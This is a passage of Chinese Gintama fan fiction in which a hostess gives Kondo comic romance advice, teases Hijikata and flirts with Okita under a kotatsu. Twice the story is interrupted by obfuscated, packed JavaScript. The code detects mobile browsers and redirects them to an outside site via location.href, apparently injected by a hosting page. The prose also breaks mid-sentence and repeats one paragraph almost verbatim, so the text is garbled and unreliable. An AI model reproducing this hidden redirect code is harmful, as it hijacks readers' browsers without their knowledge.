近藤慢慢消化着她的话,虽然道理他都明白,但要说到实践,他依然一头雾水。 女孩子到底怎样才会心动? 「恋爱是场攻防战,你越是步步进逼,对方就越想逃跑。你要做的不是进攻,而是以退为进,引导对方主动靠近。」千茶继续侃侃而谈,近藤从不知何处找来一本笔记本,认真地记下这些建议。 「这样啊…」近藤皱着眉头思考着「那么老师,我除了跟踪阿妙小姐之外,我还能做些什么呢?」 听到这句话,千茶陷入了沉默。 他们的恋爱谘询进行了好一段时间,她还没认真打听过近藤平常到底是用什么方式追求阿妙的。 不问倒好,一问就… 「要是我没理解错的话,你这段时间就只做了这几件事:跟踪她、不断告白、帮她跑腿,还有在店里消费,对吗?」她一边数着一边把手指收起来。 近藤腼腆地转着手指,轻轻点了点头。 千茶突然觉得,她也是时候该回家带小孩了。 察觉到千茶眼里闪过一丝异色,他赶紧又补充道。 「呃…那个、我们也偶尔会用短讯联络的!」 千茶挑了挑眉,儘管对他已不抱任何期望,但还是想听听他怎么说。 「哦…那么拿来看看是什么类型的短讯。」 :近藤先生,今天的天气很好呢,你今晚想开一瓶还是两瓶香槟?我会先爲你馀留三瓶的。 这种明显是营业用的短讯,不仅简短,还不带丝毫个人情绪。除了证明他是店里的常客之外,根本看不出有任何进展。 类似的信息,随便找个陪酒女打开手机便能找到一大堆,而且还要写得比这个好得多。 「不如你还是放弃了吧。」千茶直接道。 对近藤来说,确实是有点太过残酷,但也不得不承认,这是对双方来说伤害最低的选择了。 看到近藤一脸受伤的表情,千茶还是不禁心软了下来,认真地为他想起办法。 她的手指在榻榻米上轻轻敲打,沉思了片刻。 剔剔咚咚的声音在耳边响起,土方十四郎已经连续工作了十天都没休假,这些噪音更是让他整个人烦躁不已。 刚才,近藤提着大包小包带着千茶回到屯所,她熟门熟路地推开土方的房门,把正在办公的他吓了一跳。 这两个不务正业的闲人完全没考虑他的意见,大咧咧地入侵他的房间,随意找了个位置坐下来便开始闲聊,还理所当然地叫过路的队员给他们端来下午茶。 然后,他们就继续在茶茶老师、勋同学的… 烦死了。 怒火中烧的土方将手里的毛笔重重拍在桌上,近藤本想劝他几句,但一见他掌下裂开几段的毛笔,便识相地闭上了嘴。 「对了,十四,你要是有空的话,也来给点意见吧?」 倒是千茶,她对这个气得双眼发红的土方十四郎似乎毫无顾忌。 这下子,他更生气了。 32. 公务员的魅力在于年金与保险金 土方十四郎刚想着终于能摆脱那个麻烦精,让耳边清静一会儿。 可是不到两天,她就变着花样回来缠住他了。 每次都用一些漏洞百出的藉口,要不是他们识于微时,知道她这个人一向不着调,他都要怀疑她是在暗恋自己了。 不然她怎麽会整天像个小学生一样,没事就来招惹他,就跟那些爱扯女孩子辫子的小男生没两样。 尤其是在其他人在场时,她的难缠程度比独处时更甚,彷彿刻意在讨他的关注似的。 就像现在这样。 「好了,你也来想想办法吧,十四。」 「谁让你叫我十四了!」 千茶并没有理会他的反驳,自顾自地拉着坐垫往他那边移过去。 「别挨我那麽近!」他吼道,但对方显然没有听进去。 「我出门前都有洗澡,很乾淨的。」千茶说着,还拉起了自己一边的袖子,把雪白的手臂往他伸过去「沐浴露的香味还留着呢,要检查看看吗?」 「我不是这个意思!」土方避开她的手,狠狠瞪了她一眼,一把拉起桌子和坐垫挪到另一边。 他的防备反而激起了千茶的好奇心,她紧追不捨,直到他退无可退,手臂几乎贴上了牆壁。 「妳到底想干什麽!」 「一开始不就说了吗?就是一起来替勋同学想办法啊。」 她那理所当然的态度,正好踩中了他的神经。 「你眼睛是坏了吗?看不见我在办公吗!」 上班已经够烦了,偏偏上司是个爱当跟踪狂的问题儿童,下属更不用说,隔三差五就带着真选组上报纸… 他一个人要打点所有大大小小的事务,已经超过一周没休假了,现在居然还要给正在休假的人当恋爱顾问? 开玩笑吗?! 千茶眨了眨眼睛,完全无视土方的恼怒,只是把头凑过去,仔细打量着他桌上的文件。 「反正你上司也在偷懒,慢慢做应该没关係吧。」 近藤本也抱着看戏的心态,直到被她用这种方式提起。 「喂,我今天是正经的休假,才不是在偷懒!我也是连续上了八天班才能休这一天的!」他为自己澄清着。 难得的休假还特意花在陪这小姑娘去添置日用品,现在居然被说成是在偷懒… 真是个良心狗肺的傢伙。 「抱歉、抱歉。所以,土方先生现在处理的这些文件,近藤先生平常也会共同作业的吗?」 不得不说,她这个问题问得有一点尖锐。 说实话,近藤根本不清楚土方现在手上处理的是什麽工作。 土方平常虽会嘴上抱怨,却总是主动把所有公务揽在身上,作为上司的他,只需要适时称赞并表达对副手的信任就够了。 但这种内幕可不能明说,不然他这个局长听起来也太没用了。 「当然了,这些文件平常都是我和十四一起处理的。」近藤搔了搔鼻子,微微仰起头,摆出一副正经八百的模样。 他很清楚,他的十四是不会在这种情况下拆他的台。 「那麽……在真选组的员工福利里添加『每週免费领取一瓶蛋黄酱』这项,也是经过近藤先生许可的吗?」 「诶?」近藤眨了眨眼睛,像是没有反应过来,他每一个字都认得,但组合成句子却是闻所未闻。 「在这里写着的,就是…」 见千茶打算把文件上的文字完完全全唸出来,土方眼里闪过一丝心虚,慌忙地趴在桌上遮住文件。 「不准看!这是机密文件!」他一边喊着,一边挥手要她退开。 「十四,这是什麽一回事…?」 近藤原以为这只是千茶在开玩笑,但土方此刻却表现得心虚不已,眼帘低垂着,像是在刻意避开近藤的视线。 每週免费领取一瓶蛋黄酱? 真会有被这个员工福利吸引的人吗? 再说,每週一瓶的频率也太过频繁了吧? 除了那些疯狂迷恋蛋黄酱的人以外,还有谁会想要这种福利? 哦,对了。 他们组裏就有地球上仅此一个的极级蛋黄酱狂热份子。 「那个…十四?」 「这个是…」土方挠了挠脑袋,试图打着哈哈糊弄过去「我想着最近组裏士气不太好,所以想给大家一些激励,所以就想着替大家提升一下员工的福利…」 他含糊其辞地说着,但显然近藤对他的解释不太买帐,他只好咬着牙把话锋一转。 「不过我都处理了那麽久的公务,倒是很想休息一下呢…」 「那可不行!」千茶马上打断道,她挑眉看向土方。 「副长先生的公务那麽繁忙,要是不赶快把蛋黄酱的事定下来,下週的蛋黄酱就…」她调侃的话还没说完,就被土方强行摀住了嘴。 「啊…突然好想听听大家的恋爱烦恼呢。」他僵硬地笑着,用自以为诚恳的目光看向近藤「对了!近藤先生最近是不是换了新的追求方式?啊…真让人好奇呢…」 转移话题的方式还真是有够笨拙,显然是没料到自己的计谋会被识穿,因此也从来没考虑过被抓包后的应对方式。 比起对下属擅自行动的愤怒,或是被蒙在鼓里的不满,眼前这个人疲惫不堪的模样,反而更让近藤更为在意。 苍白的脸色、眼下的乌青、布满血丝的双眼,还有那堆满菸蒂的烟灰缸。 虽然他的副手时不时会做出一些古怪决定,但他对组里的无私贡献却是无可置疑。 恐怕是工作过于操劳,影响他一贯出众的判断力,才会误以为蛋黄酱这种匪夷所思的福利会受欢迎。 此刻,这个工作狂正战战兢兢地望着自己,一副深怕惹他生气的模样。 「我知道了。那麽,我的恋爱烦恼就拜託你了,十四!」 近藤虽对蛋黄酱一事仍有些在意,但考虑到土方已经知错,又愿意讨论他平常完全不感兴趣的恋爱话题来给双方一个下台阶,便决定把这件事当作没发生过,不再追究。 「啊…这事就包在我身上吧,近藤先生。」土方挤出一个爽朗的笑容,见对方确实没有追究的意思,这才松开摀住千茶的手。 她刻意地深吸一口气,幽幽地瞄向土方,眼中满是调侃的意味。 这傢伙显然是故意设计他的,早知道在她推门进来的那刻,就该直接把人轰出去。 但他理亏在先,也无法理直气壮地抱怨,只好把这笔帐先记下,默默祈祷这丫头今天别再耍什麽花样。 近藤让人搬来一张被炉,三人围坐在前。平日只有两人的下午茶点心会,今天多了一位新成员。 不过他本人并非完全自愿出席就是了。 自从新八情书事件后,近藤便发现土方虽然从未谈过恋爱,但在这方面似乎很有天分。 他一直都希望土方能给他一点实用的建议,但他每次问起,对方ye只是随意打量他几眼,就敷衍地说「近藤先生你这样就已经挺好的。」 所以,当他看见千茶试图把土方拉进讨论时,便默默纵容了她的胡闹。毕竟他自己也带着私心,想藉此机会听听土方的真实想法。 他朝千茶投以感激并赞赏的眼神,多亏有她,他才能利用蛋黄酱这个把柄,得到这位忽悠高手的相助。 想到这里,近藤就忍不住雀跃起来。 他坐在被炉前,不停地搓着手,嘴角翘着一抹难以忽视的弧度。 虽然身为朋友这麽说不太恰当,但仔细一看确实有点…猥琐。 「他平常都是这样吗?」千茶指着近藤,带着些不确定地看向土方。 土方斜眼瞥了他一眼,不禁叹了口气。 幸好近藤是他们的局长,要是在街上巡逻时碰见这种会搓手坏笑的可疑人士晃荡,他早就把人拦下来仔细盘问了。 「所以我才不想掺和进来…」 为了让后来加入的土方更了解自己目前的处境,近藤向他简述了一遍千茶这段时间给的建议,和近藤自己的心路历程。 其实他刚才在他们旁边办公,不多不少也听到一些,千茶主要是建议他别再当跟踪狂,还有要利用空闲时间提升自己,以吸引力取代追求攻势。 虽然土方无法确定这对近藤的恋爱有什麽正面影响,但至少他变得比较安分了。儘管工作效率没有明显提升,不过让他待在屯所里发呆,也总比在外面当跟踪狂来得好。 就是不知道这样和平的日子能维持多久。 向土方说明过现况后,近藤突然想到什麽,立刻举起手来「茶茶老师,我有一个问题!」 就在这时,千茶不知从哪里变出一副金丝眼镜,戴在鼻梁上,倒像极了某些影片里的女教师。 土方只觉得脑壳一疼,不愿细想这两个人到底在演什麽。 「我在听哦,勋同学。」她说。 近藤坐直身子,正色地开口「从女孩子的角度来看,一个有魅力的男人应该是怎样的?」 千茶把眼镜扶正,故作深沉地思考了一会儿。 「这种事情嘛…见仁见智呢。」她回道,眼神意有所指地瞥向土方指间的菸支。 「比方说,像土方同学这种不解风情、身上总是飘着很臭的菸味的人,在我们店里也是意外地受欢迎呢。」 「等等,你说『意外』是什麽意思?」土方皱起眉头,不满地瞪着她。 「再说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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土方想也不想就反驳「少胡说八道了。我才不会为了这种无聊的理由戒菸。」 他说着,在手上的菸灭掉后又点了一支,像是在强调自己的立场。 千茶侧着头思索片刻,最后还是否定了近藤的说法。 「恰恰相反呢。」她说,土方清楚看见她眼里闪过一抹狡黠的光。 「你们恐怕想像不到,一个尼古丁上瘾、高血脂、从事危险职业,还附带巨额保险金的公务员丈夫,对女孩子来说有多大的吸引力呢。」 她说得轻描淡写,眼里的深意却是毫不掩饰。 难以名状的寒意忽然涌上心头,土方不禁打了个寒颤。 难道平常出去应酬,女孩子们总爱凑到他旁边,都是因为这个原因吗? 就是想找机会跟他交往、结婚,然后……等着领他的保险金? 应该不会吧…? 他想反驳千茶的话,却不知该如何支持自己的论点。总不能直接称赞自己长得帅,或在其他方面夸耀自己吧? 他可不是这种自恋的人设。 「保险金先生,烟灰要掉下来了~」 土方如梦初醒般回过神来,连忙把菸灰弹到烟灰缸里。 「你别给我乱扣这种奇怪的称呼。」土方狠狠瞪了她一眼,随后把目光移向堆满烟蒂的烟灰缸裏。 他不自觉地动了动喉咙,刚才那股寒意依然挥之不去。 「原来是这样呢。」一道漫不经心的声音从纸门后传来,房间里的三人不约而同地拧过头,只见纸门被人从外侧拉开。 冲田靠着门框,似笑非笑地看向土方「我就说嘛,明明我们这些乡下武士都不受欢迎,怎麽就土方先生一个人像个香饽饽一样。」 面对千茶的调侃,土方只是略感不悦,但对上冲田时,心中却升起了另一种烦躁。 明明是总悟那小子太过抖S才不受欢迎,近藤先生大概是因为太过猥琐,至于齐藤,他整天就像隐形人一样,默不作声地躲在房间。 他土方十四郎可是这群人里唯一正常的人啊,仪容也一直保持整洁得体,会受到异性的崇拜和爱慕,不是再正常不过的事吗? 怎麽可能跟什麽保险金扯上关係?! 「怎麽说来…好像也有些道理…」 「喂,怎麽连近藤先生你也和他们一起疯了!」 伴随着纸门阖上的声音,冲田朝暖桌走来,一把挤开土方,坐到了千茶身旁的位置。 「我刚在外面听你们聊得挺开心的,让我也加入吧。」冲田慢悠悠地说道「毕竟我也到了会对恋爱话题感兴趣的年纪呢。」 33. 人到了某个年纪,就会觉得烤肉很腻 四个成年人挤在一张不太宽敞的被炉里,难免会与旁人有些碰触。 千茶轻轻撩起和服下?,调整姿势,好让自己能更舒适地盘腿坐。 当带着微凉的西裤布料贴上她的皮肤时,她下意识地向旁边说了声抱歉。 「没什么。」冲田漫不经心地应道,伸手拿起点心篮里的仙贝,打开包装,咬了一口。 千茶抬眼看着他和土方之间的宽阔空隙,本以为在她的「提醒」后,他会察觉到她的拥挤,而往土方的方向挪一挪,但他却只是一动不动地坐着,直至她能感受到贴在膝盖上的布料因为暖桌而越发温热。 也许,他并非察觉不到,而是从一开始便是故意的。 既然能成为好友,他们在某些方面自然是相似的。 「总悟,你说对恋爱话题有兴趣,难道你也有心仪的对象了?」近藤并未察觉到他和千茶之间的微妙氛围,只是逮着刚才的话题,兴致勃勃地追问起来。 他一直都憧憬着漫画里的修学旅行情节:旅馆的夜晚,和朋友摸黑谈论心仪的女孩子,互相打趣却又给对方提建议。 可惜的是,他的朋友不是年纪太小还未开窍,就是早就决定封心锁爱。 千茶懒懒地支起一边手臂撑着脑袋,闲着的那边手则是伸到暖桌里取暖。 不同于近藤的兴奋和千茶的不以为然,土方从听见冲田有心仪对象的那一刻起,就以一副见了鬼的表情上下打量着他。 「喂,土方先生,你这是什么反应啊?」冲田斜眼瞥了土方一眼,随即将视线转向近藤。 「与其说是心仪的对象,倒不如说……」 大腿上的瘙痒感让他下意识地停顿。 她的指尖有意无意地掠过二人紧贴的膝盖,然后曲起手指,用指节在西裤布料上轻轻地刮过。 准备好的说辞瞬间被痒意消散,脑海中只留下一片空白。 「总悟?」 注意到他片刻的失神,近藤又唤了声。 他原本想说的到底是什么来着? 「算了,随你怎么想吧,反正不是那回事。」说完,他咬着仙贝,空出来的那只手拿起千茶面前的茶杯。 「喂,借我喝一口。」他转过头来,直视千茶的眼睛,语气中透着不容拒绝的意味。 她无所谓地点点头,在土方的抗议声中,他举行杯子,贴上嘴唇,让温热的茶水滑过喉咙。 「老妈,以后别再买这个牌子的仙贝了,太容易沾牙。」冲田抱怨着,把茶杯放回原位。 「谁是你老妈?!」 「谁回我便是谁了。」 「有意见的话就自己去买!」 「不要。」 千茶的视线跟随着他的动作,最后落在杯沿那抹浅红上。那颜色与她嘴上的唇膏如出一辙,但并未留下完整的印记,边缘微微晕开,彷佛被人抹去一部分。 或许是方才在外面吹过风的缘故,冲田的嘴唇显得苍白而干燥,温热的茶水沾上唇瓣,抚平了那些细微的纹路。 「你在盯着我看些什么?」 他戏谑地翘着嘴角,又咬下了一口仙贝。 被抓包的千茶不但没有半分慌乱,反而大大方方地端详起他的脸。 「总悟要是有了喜欢的女孩子的话,还是备根润唇膏比较好吧。」她说着,用撑在下巴的手轻轻地碰了碰自己的嘴唇「这里,都要裂开了。」 漫不经心的一句让他像照镜子般,伸手抚上她示意的地方。 近藤闻言凑近冲田的脸细看,果真如千茶所说,茶水被仙贝沾去后,他的唇边清晰可见一道微红的裂痕,看起来随时都可能裂开。 「真的呢。」他说着,翻了翻口袋,拿出一支润唇膏塞到冲田手里「总悟,先用我这支吧,我房间还有新的。」 正常来说都是把未用品送人才对吧?把用过的护唇膏送他是什么意思?他们又不是热恋中的情侣。 唇膏的管身很暖,冲田不愿细想,那是被近藤捂出来的温度,还是暖炉的温度。他只知道现在要是把盖子拧开,里面的膏体恐怕会融化得让他满手都是。 他三两下把剩余的仙贝咽下,随即将这烫手的东西丢给土方,并把双手收进被炉里,以免近藤再塞来类似的东西。 「和局长间接接吻的殊荣还是留给土方先生吧,我只要副长的位置就行了。」他说着,余光正好扫过千茶。 她装出一款艳羡的模样,眼里却是难以掩饰的笑意。 「真幸运呢,土方先生。」 人们说得没错,拥有一双桃花眼的人,笑起来连看狗都显得深情。 被拒的近藤严肃地双手叉腰,滔滔不绝地朝冲田说起教来,内容始终围绕着嘴唇干裂对武士来说是多严重的威胁。例如那种刺痛感会在战斗中让人分神,又或是在品尝刺身时,会给芥末酱油可乘之机。 冲田无心听他说这些有的没的,目光落在千茶身上,她扶着冲田的腿,探身过来,试图诱哄土方打开手里的唇膏。土方被她坑了那么多次,早就对她有了戒心,无论她怎说也坚决不从。 见她没有轻易罢休的意思,土方思前想后还是决定顺了她的意。 他顶着千茶期待的目光,把唇膏递回去给近藤。 「近藤先生,你嘴唇也有点干燥了,赶紧涂一涂吧。」 湖水色的眸子刹那间亮起,投向土方的视线中带着几分欣赏与赞许。土方不知是心虚还是别的缘故,说完便急忙别过头去,躲开了他们的目光。 说教被打断的近藤并未察觉到任何不妥,说了声「谢谢」便随手接了过来。 接下来的发展一如她所料:近藤被融化的润唇膏弄得满手都是油,手忙脚乱地找着面纸;土方则因自己的恶作剧而有些歉疚,却又忍不住笑意,碍于这里是他的房间,还是找了盒面纸给近藤。 一切如她所料:近藤被融化的润唇膏弄得满手油腻,手忙脚乱地寻找面纸;土方虽因恶作剧而略感歉疚,却又忍不住想笑,最后念在这是自己房间的份上,还是拿了盒面纸给近藤。 得逞的千茶下意识地看向冲田,他板着一张脸,不见平日的兴致。 「怎么了?」她轻轻问道。 他用着眼神示意她往下看,她这才发现自己的手还压在他的腿上。 前一秒还在和他调情,手还搁在他的腿上,下一秒就把他晾在一旁,转去逗弄他最讨厌的人。究竟是多么厚脸皮的人才做得出这种没良心的事? 明明,他才是她的「挚友」,不是吗? 「抱歉。」千茶歉意地笑笑,正要把手收回去。 此时,带着厚茧的指尖顺势滑入她的指缝之间,然后整只手覆上她的掌心。微凉的触感让她心头一颤,随即感受到他紧紧扣住了她的五指,然后使劲将她的手压在榻榻米上。 力气之大让她被塌塌米硌得有些痛。 他是想向她暗示些什么,还是单纯使坏逗她,霎时间她也难以分辨。 但无论是哪一样,她都不打算让自己落入劣势。 于是,她握了回去。 十指紧扣。 指甲就像要刺进他的手背,他却毫不在意,亦没半点松手的意思。 她抬眼看向冲田,他眼神清澈地眺望着前方,彷佛和她十指紧扣的人并非自己。 她瞄了冲田一眼,只见他慵懒地注视着前方,神态如常。若不是手上传来阵阵刺痛,她几乎要以为刚才发生的一切都是错觉。 还是年下带感啊。 见土方和近藤都无暇顾及这边,冲田假装漫不经心地朝她瞥了一眼,却见她嘴角微弯,那双眼眸闪烁得更加明亮,此刻只映着他一人的身影。 看来她确实是喜欢这种的。 「喂,不是聊恋爱话题的吗?我现在可嗅不到半点恋爱的酸臭味。」 冲田的催促让土方转过头,皱着眉再次向他确认「你小子是真的有了喜欢的女人吗?」 「就说不是喜欢的女人了。」他不厌其烦地再度澄清。 「那么…是男人?」土方试探地问道,想起某次山崎暧昧不清的汇报,他不自在地别过头去「要是你喜欢男的也没关系,但办公室恋爱还是别了吧…」 他虽然尊重总悟的各种癖好,但影响到工作或者队里的士气就不太好了。 冲田沉默了一会儿,直到感受到手下的人微微颤抖,憋不住的窃笑。 「近藤先生,我怀疑『真选组全员都是同性恋』这个传闻是土方先生放出去的,请你让他去切腹!」 「所以你喜欢的还是女人不是吗!那给我反驳个什么劲?」 眼见他们又开始吵起来,近藤赶忙放下手中的东西去劝架。 「那个…总悟你确实是有在意的人了,不是吗?」 「在意…?算了,就当是吧。反正,就不是喜欢。」 如果说这是喜欢,也未免太过糟蹋这两个字。 只是单纯的占有欲作绪而已。 认识她的时候,他还处于对感情懵懵懂懂的年纪。 她和他一样都是个不把大人放在眼里的少年,但对近藤这个烂好人哥哥却抱持着善意。她陪着他实现每个疯狂的念头,和他一样都有个身体欠安的兄姐,偶尔练习对打时,更能与他比个不相上下。 他们本该是最能够理解彼此的人。 直到那一夜,土方那个混帐陪她淋了场雨。 她开始正视起那个他们曾经一起当作笨蛋戏弄的人。 正当冲田以为,她会如同近藤先生和姐姐一样,被那个人夺去了目光。 她却始终站在他这边。 无论是恶作剧还是平日的打闹,她不会像近藤先生那样拉偏架,也不会像姐姐那样,代替他去给人家道歉。 无论是与大伙嘻笑,还是两人独处的时候,她总是会待在他身边。 和他说话的时候,那双漂亮的眼睛就仅仅映着他一人的身影。 「总悟?」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940216|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「也许…说是对手更合适。」 知己知彼,即使看穿对方恶劣的本性,仍然选择相伴在旁。 对每个人都保持着若即若离的距离,既不亲近到能被人抓住,也不疏远到让人放弃。 感情是真的,付出也是真的,但若哪天心情不好,又或者对方失去利用价值,也能毫不犹豫地收回。 一旦有谁想要束缚她,她恐怕会毫不犹豫地反咬对方一口。 就像此刻,她在暗处与他十指紧扣,过一会儿或许又会以调情的语气逗弄土方,明天说不定还会与老板躲在家卿卿我我。 所以,绝对不能喜欢上这种人。 千茶悄悄瞥了一眼握着她的那只手,骨节分明,指尖因为用力而微微泛白。 她稍微放松了回握的力道,拇指轻柔地扫过他的指背,像是安抚。 明明他早已下定决心要像平常一样,把这当作游戏而已。 但每当她切切实实地待在他身旁时,心脏处却会传来难以纾解的搔痒。 不是喜欢的人,而是在意的对手….? 近藤和土方对视一眼。 「不是万事屋那小姑娘吧?」 「诶!真的吗?」 要是到了这个地步,她还搞不清他的暗示,那么她早就该被踢出局了。 只是她并没打算替他解释,反而学着近藤和土方,故意摆出一副吃惊的表情,跟着他们揣测起来。 「是再说小神乐吗?」 她感觉那只握着她的手,在无人察觉之处又紧了几分。 「喂,我好歹是个警察,对未成年出手这种事我可做不出来。」 这么正派的发言反而让土方更加起疑,他印象中这个臭小子平常在人家面前嘴贱时,可没顾忌过对方是未成年。 「如果不是那个小姑娘的话…那会是谁呢?」近藤继续追问着,而他们都没有注意到,这一次的千茶选择保持沉默。 「是谁根本不重要。我们要说的不是近藤先生你的事吗?」 被冲田提醒,近藤顿时反应过来,不好意思地摸了摸脑袋「对、不过难得总悟你有了喜欢的人,我就忍不住…」 「对了!总悟也要听听看茶茶老师的意见吗?」 冲田饶有兴趣地挑挑眉,一手支着脑袋,仰着那张迷惑人心的美少年脸蛋,懒洋洋地开口。 「那么,如果是老师你的话,遇到一个有点在意的人会怎么办呢?」 「老师我啊…总而言之就是先睡到手再算吧。」她回答得干脆。 「你在说什么啊!」土方震惊地瞪着千茶「你这种轻浮的恋爱观究竟是怎么回事?近藤先生、总悟!这家伙的建议绝对不能相信啊!」 近藤倒不似土方那般激动,只是若有所思地点点头「原来如此,茶茶老师是肉食系呢。」 「嗯…我对肉是有些苦手呢…要说的话我可是更喜欢水产。」 「水产系?」 就像??鱼,在一片漆黑的深海中以仅此一线的光芒引诱猎物靠近。 又或者像海天使,看似纯真无害,当猎物放下戒心靠近时,便会展露致命本性。 最后一口吞下。 这才是她的猎食方式。 单纯的你追我赶可不能让她提起兴趣。 「肉吃多了很容易腻,但海鲜就不一样了。鳗鱼饭很好吃,烤元贝也不错,生鱼片更是适合下酒…所以我个人来说是水产派的。」千茶解释得头头是道,近藤似乎也觉得她说得有理,一边点头一边在不知从哪里掏出来的笔记本上记录着。 「近藤先生,她只是在念菜单而已,你抄什么?」土方翻了个白眼「这家伙根本就没在说恋爱相关的事,别被她带坏了。」 「说什么带坏的,还真无情呢,土方先生。这确实就是我的恋爱观啊。」 听着她的狡辩,冲田无奈地摇摇头,却又像自嘲般笑说「还真是个罪业深重的女人呢。」 而对于他的指责,她也无法反驳。 要是每次去定食屋都只点一样的餐点,哪天突然售罄了,不会让人心里空落落的吗? 吃食本来就只是用来填饱肚子,产生多余期待和依赖的话,迟早会受伤的。 那倒不如从一开始就打消这种执念。 这样对谁都好。 土方劝她改掉那些乱七八糟的恋爱观,近藤则说着「老师果然是老师!真帅!」,随后开始和她商量起自己的烦恼。 冲田深深看她一眼,随即松开了一直与她紧扣的手。 她虽然仍在与他们谈笑,但在与冲田抽离的瞬间,眸色暗淡了几分。 而这个细微的表情变化,却被他全然收进眼底。 她是一个狡猾又自私的人,而他亦当仁不让。 为真选组冲锋的一番队队长,这样一个活在刀锋上的人,又怎会拒绝这种无需负责的恋爱游戏? 既然她递出了邀请函,那么作为儿时玩伴的他,自然会奉陪到底。 34. 婚后的男人总是沉默寡言,因为说得多就会错…… 浅井千茶复工的第一天,她总觉得店里的气氛有点怪怪的。 就好像…回到她刚刚来上班时那样。 她如常向平日关系不错的同事打招呼,却发现对方眼里闪过一丝尴尬,只是轻轻点了点头,便开始回避她的目光。 难道是因为她请了病假却被发现去打小钢珠了?但她放的可是无薪假,她们也不至于这样吧… 身后传来几句女孩子的问好,千茶转过头,刚好和走进休息室的阿妙对上视线。 她脸上挂着与往日无异的笑容,来到千茶的面前跟她寒暄了几句,顺便关心起她的「病情」。 「抱歉,我在银桑那里听说了你受伤的事…要是工作时有什么不舒服,可以随时告诉我,我替你去跟店长说。」 没见一段时间,阿妙还是那么善解人意。怕她不好意思跟店长请假,主动提出可以代劳。 千茶感叹着,暗指认定是因为最近太多事要处理,让她变得有些疑神疑鬼,才觉得同事们的态度不妥。 殊不知,她现在确实因「抢同事客人」的嫌疑,被她们们暗暗提防着。 事隔一月,近藤勋久违地来到smile,并在经得千茶的许可后,向店长提出指名阿妙。 即使是平时不太关注他的人,此时也能明显感觉到他对阿妙的态度有点不同了。 简单来说,他整个人变得沉稳了,不再像从前那样浮浮躁躁的,不说话时也总算有些真选组局长应有的气场。 另一方面看来,这样的转变就像另类坐实了千茶和他之间的谣言。 「阿妙小姐,这段时间我一直在思考,我过去的行为恐怕给你带来了困扰。为此,我想向你道歉。」 那个总是缠着她,冲动又鲁莽的跟踪狂说出了与他平日人设完全不符的话,并郑重地低头向她道歉。 阿妙愣住了,一时不知如何反应。平常她总嫌弃这个警察不正经,整天只懂偷偷跟踪,但当他如此认真地面对她时,反而让她不知所措。她甚至开始怀疑眼前这个人是不是真的近藤,还是被什么人调包了。 如果他真的有所醒悟,从此不再跟踪她,那她理应为摆脱这些烦恼而感到高兴才对。但此刻她心里却涌现一种莫名的…不快。 就好像平常总在自己面前打滚、讨食的流浪猩猩,某天忽然有了新的主人。 就算她不喜欢猩猩这种动物,就算她不打算在家饲养这只猩猩,还是会有种难以形容的被背叛感。 「我接受你的道歉。」 他的手在袖子下紧握成拳,小心翼翼地抬头看向阿妙。两人之间的沉默持续了几秒,直到黑服走来,送上他点的酒。 『做得好,接下来你可以聊聊停止跟踪她之后培养的新兴趣,向她展露有趣的一面。』千茶的声音透过监听耳机传来,近藤轻轻点头,开始在心里盘算该说些什么。 要是说最近热衷恋爱谘询,岂不就是变相承认他去找千茶帮忙了吗,那么逊的当然不能说。 但除此之外,他实在没有其他能拿得出手的兴趣,除非…还是算了。就算他对女孩子不太了解,但也很清楚在这种场合提起GalGame的话题,肯定会立刻出局。 这次千茶为他制定的策略名为:成年人的恋爱靠直球是行不通的,靠的是吸引和若即若离。 顾名思义就是让他以展现自身魅力代替主动强势的追求。 近藤虽然外表在冲田和土方的衬托下说不上非常出众,但凭着这个身高和身形,又是公务员的高层,在一般大众眼中也算符合很大众的择偶条件。 但偏偏他就是不受欢迎,而且据千茶所知,每当他向女性表达好感时,都会被对方用各种方式甩掉。 要是放在以前,千茶可能还会有一些不解,但当和他长期接触下来,她就稍为能理解了。 没有女孩子会能够接受一个一言不合就开始自我解脱的另一半,字面意思。 至少千茶不行,也是字面意思。 所以近藤要是真想摆脱不断表白被拒的循环,先就得从言行举止上改变。 千茶一般都会建议别人在喜欢的人面前展现真实的自己,然后再速战速决地去告白再被拒绝。 但他和阿妙的情况显然用不上这一套。 不远处的卡座上,浅井千茶关掉通讯设备搁在一旁,给自己倒了杯酒。她本想趁机休息一下,但没有她的具体指示,近藤就只会傻笑着喝酒,笨拙得活像个初尝恋爱滋味的高中生。 男生表现得青涩、不懂情爱,有时确实很吸引人,但以近藤这个年纪来说,未免太迟了。从他们初次见面时起,他就是这副模样,甚至当时还找年仅十三岁的她商讨恋爱问题。 说起来,近藤大概是千茶第一个建议「要勇于表达真我、大胆告白」的人。 对不起了,近藤先生。 莫名的罪恶感从心底涌现,千茶喝了口酒,试图让它压下,然后假装漫不经心地开口。 「你们说他追小妙多久了?」 「他由初登场就在当跟踪狂了。」土方说道,一副脸恨铁不成钢地摇头。 那么…也是不短的年数了。 余光瞥见冲田拿起了桌上的设备,千茶和土方也看了过去。 「近藤先生,我们这边的账单也是你来付的对吧?」冲田握着装置,语气轻浮地问着另一边的人。 接下来,他们看见近藤一边喝酒,一边以滑稽的姿势点着头。 得到确认后,冲田立即向路过的黑服点了一份大份的水果盘和刺身船。 「大家都累了,不如先放松一下吧。」他转头对旁边的两人说道。 「喂,你究竟是来干什么的啊?」 冲田无视土方不悦的眼神,挪了一下位置,顺势把头枕在千茶的大腿上。 一旁的老妈子比当事人反应更快,立刻抓住冲田的后领把他拉正坐好。 「土方先生,来这种地方不就是这样的吗?况且茶茶都没意见,你在搞什么。」他嚷嚷着抱怨,还不忘转头寻求千茶的认同。 「对吧,茶茶?」 千茶的视线在冲田和土方之间来回,最后在前者身上停留了几秒。 